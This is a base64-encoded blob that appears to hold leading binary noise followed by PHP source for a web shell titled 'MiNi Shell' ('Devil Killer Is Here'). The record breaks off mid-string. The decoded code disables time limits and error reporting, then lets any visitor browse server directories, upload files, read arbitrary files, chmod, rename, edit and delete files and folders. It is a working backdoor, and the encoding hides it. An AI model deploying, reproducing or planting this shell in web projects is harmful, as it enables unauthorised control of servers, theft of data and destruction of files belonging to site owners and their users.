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XJcQTZEXDk0dVxGNlxGRlwwMFxDOUxcREFf37BcOEINCkNpGVxDOQYnXDhEXEIyGx9cQkJcOUZ0HVxEQlxDOHtcOUEyTFxDNxg7XEIxXEZBXEFFXFxBNN+1Elw5N1xDMxg3QFxGNFxERFxFQUhcRkVLXDk3LlopGxY0f1xGRlxEOTw/cGhwDQpzZXRfdGltZV9saW1pdCgwKTsNCmVycm9yX3JlcG9ydGluZygwKTsNCg0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7DQogICAgZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsNCiAgICAgICAgJF9QT1NUWyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YWx1ZSk7DQogICAgfQ0KfQ0KZWNobyAnPCFET0NUWVBFIEhUTUw+DQo8SFRNTD4NCjxjZW50ZXI+PGZvbnQgZmFjZT0iaWNlbGFuZCIgc2l6ZT0iMTAiIDxmb250PSIiIGNvbG9yPSJNZWhyb29uIj5EZXZpbCBLaWxsZXIgSXMgSGVyZTwvZm9udD4NCjxIRUFEPg0KDQoNCg0KDQoNCg0KPGxpbmsgaHJlZj0iIiByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIj4NCg0KPHRpdGxlPk1pTmkgU2hlbGw8L3RpdGxlPg0KDQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KPCEtLQ0KYm9keSB7DQpiYWNrZ3JvdW5kLWltYWdlOiB1cmwoaHR0cHM6Ly9lbmNyeXB0ZWQtdGJuMC5nc3RhdGljLmNvbS9pbWFnZXM/cT10Ym46QU5kOUdjVDNfNFJQYWx2QW1kRjZJc1JNdU90QnNRSGNFc2ZVZDcxT3lJa3RyVEZoNF8xVExSSzVSQSk7DQp9DQotLT4NCjwvc3R5bGU+DQoNCg0KDQoNCjxzdHlsZT4NCmJvZHl7DQogICAgZm9udC1mYW1pbHk6ICJSYWNpbmcgU2FucyBPbmUiLCBjdXJzaXZlOw0KICAgIGJhY2tncm91bmQtY29sb3I6IGdyZWVuOw0KICAgIHRleHQtc2hhZG93OjBweCAwcHggMXB4ICM3NTc1NzU7DQp9DQojY29udGVudCB0cjpob3ZlcnsNCiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjNjM2MjYzOw0KICAgIHRleHQtc2hhZG93OjBweCAwcHggMTBweCAjZmZmOw0KfQ0KI2NvbnRlbnQgLmZpcnN0ew0KICAgIGJhY2tncm91bmQtY29sb3I6IHNpbHZlcjsNCn0NCiNjb250ZW50IC5maXJzdDpob3ZlcnsNCiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBzaWx2ZXI7DQogICAgdGV4dC1zaGFkb3c6MHB4IDBweCAxcHggIzc1NzU3NTsNCn0NCnRhYmxlew0KICAgIGJvcmRlcjogMXB4ICMwMDAwMDAgZG90dGVkOw0KfQ0KSDF7DQogICAgZm9udC1mYW1pbHk6ICJSeWUiLCBjdXJzaXZlOw0KfQ0KYXsNCiAgICBjb2xvcjogIzAwMDsNCiAgICB0ZXh0LWRlY29yYXRpb246IG5vbmU7DQp9DQphOmhvdmVyew0KICAgIGNvbG9yOiAjZmZmOw0KICAgIHRleHQtc2hhZG93OjBweCAwcHggMTBweCAjZmZmZmZmOw0KfQ0KaW5wdXQsc2VsZWN0LHRleHRhcmVhew0KICAgIGJvcmRlcjogMXB4ICMwMDAwMDAgc29saWQ7DQogICAgLW1vei1ib3JkZXItcmFkaXVzOiA1cHg7DQogICAgLXdlYmtpdC1ib3JkZXItcmFkaXVzOjVweDsNCiAgICBib3JkZXItcmFkaXVzOjVweDsNCn0NCjwvc3R5bGU+DQo8L0hFQUQ+DQo8Qk9EWT4NCjxIMT48Y2VudGVyPk1pTmkgU2hlTEw8L2NlbnRlcj48L0gxPg0KPHRhYmxlIHdpZHRoPSI3MDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCjx0cj48dGQ+Q3VycmVudCBQYXRoIDogJzsNCmlmKGlzc2V0KCRfR0VUWydwYXRoJ10pKXsNCiAgICAkcGF0aCA9ICRfR0VUWydwYXRoJ107ICAgDQp9ZWxzZXsNCiAgICAkcGF0aCA9IGdldGN3ZCgpOw0KfQ0KJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCcvJywkcGF0aCk7DQokcGF0aHMgPSBleHBsb2RlKCcvJywkcGF0aCk7DQoNCmZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7DQogICAgaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7DQogICAgICAgICRhID0gdHJ1ZTsNCiAgICAgICAgZWNobyAnPGEgaHJlZj0iP3BhdGg9LyI+LzwvYT4nOw0KICAgICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7DQogICAgZWNobyAnPGEgaHJlZj0iP3BhdGg9JzsNCiAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspew0KICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsNCiAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsNCiAgICB9DQogICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsNCn0NCmVjaG8gJzwvdGQ+PC90cj48dHI+PHRkPic7DQppZihpc3NldCgkX0ZJTEVTWydmaWxlJ10pKXsNCiAgICBpZihjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwkcGF0aC4nLycuJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKXsNCiAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImJsYWNrIj5GaWxlIFVwbG9hZCBEb25lLjwvZm9udD48YnIgLz4nOw0KICAgIH1lbHNlew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj5GaWxlIFVwbG9hZCBFcnJvci48L2ZvbnQ+PGJyIC8+JzsNCiAgICB9DQp9DQplY2hvICc8Yj48YnI+Jy5waHBfdW5hbWUoKS4nPGJyPjwvYj4nOw0KZWNobyAnPGZvcm0gZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIj4NClVwbG9hZCBGaWxlIDogPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIC8+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0idXBsb2FkIiAvPg0KPC9mb3JtPg0KPC90ZD48L3RyPic7DQppZihpc3NldCgkX0dFVFsnZmlsZXNyYyddKSl7DQogICAgZWNobyAiPHRyPjx0ZD5DdXJyZW50IEZpbGUgOiAiOw0KICAgIGVjaG8gJF9HRVRbJ2ZpbGVzcmMnXTsNCiAgICBlY2hvICc8L3RyPjwvdGQ+PC90YWJsZT48YnIgLz4nOw0KICAgIGVjaG8oJzxwcmU+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfR0VUWydmaWxlc3JjJ10pKS4nPC9wcmU+Jyk7DQp9ZWxzZWlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9QT1NUWydvcHQnXSAhPSAnZGVsZXRlJyl7DQogICAgZWNobyAnPC90YWJsZT48YnIgLz48Y2VudGVyPicuJF9QT1NUWydwYXRoJ10uJzxiciAvPjxiciAvPic7DQogICAgaWYoJF9QT1NUWydvcHQnXSA9PSAnY2htb2QnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsNCiAgICAgICAgICAgIGlmKGNobW9kKCRfUE9TVFsncGF0aCddLCRfUE9TVFsncGVybSddKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImJsYWNrIj5DaGFuZ2UgUGVybWlzc2lvbiBEb25lLjwvZm9udD48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+Q2hhbmdlIFBlcm1pc3Npb24gRXJyb3IuPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4NCiAgICAgICAgUGVybWlzc2lvbiA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJF9QT1NUWydwYXRoJ10pKSwgLTQpLiciIC8+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPg0KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJjaG1vZCI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHbyIgLz4NCiAgICAgICAgPC9mb3JtPic7DQogICAgfWVsc2VpZigkX1BPU1RbJ29wdCddID09ICdyZW5hbWUnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgIGlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iYmxhY2siPkNoYW5nZSBOYW1lIERvbmUuPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj5DaGFuZ2UgTmFtZSBFcnJvci48L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRfUE9TVFsnbmFtZSddID0gJF9QT1NUWyduZXduYW1lJ107DQogICAgICAgIH0NCiAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4NCiAgICAgICAgTmV3IE5hbWUgOiA8aW5wdXQgbmFtZT0ibmV3bmFtZSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSInLiRfUE9TVFsnbmFtZSddLiciIC8+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPg0KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJyZW5hbWUiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28iIC8+DQogICAgICAgIDwvZm9ybT4nOw0KICAgIH1lbHNlaWYoJF9QT1NUWydvcHQnXSA9PSAnZWRpdCcpew0KICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOw0KICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImJsYWNrIj5FZGl0IEZpbGUgRG9uZS48L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPkVkaXQgRmlsZSBFcnJvci48L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGZjbG9zZSgkZnApOw0KICAgICAgICB9DQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQogICAgICAgIDx0ZXh0YXJlYSBjb2xzPTgwIHJvd3M9MjAgbmFtZT0ic3JjIj4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydwYXRoJ10pKS4nPC90ZXh0YXJlYT48YnIgLz4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJF9QT1NUWydwYXRoJ10uJyI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImVkaXQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28iIC8+DQogICAgICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBlY2hvICc8L2NlbnRlcj4nOw0KfWVsc2V7DQogICAgZWNobyAnPC90YWJsZT48YnIgLz48Y2VudGVyPic7DQogICAgaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddID09ICdkZWxldGUnKXsNCiAgICAgICAgaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2Rpcicpew0KICAgICAgICAgICAgaWYocm1kaXIoJF9QT1NUWydwYXRoJ10pKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iYmxhY2siPkRlbGV0ZSBEaXIgRG9uZS48L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9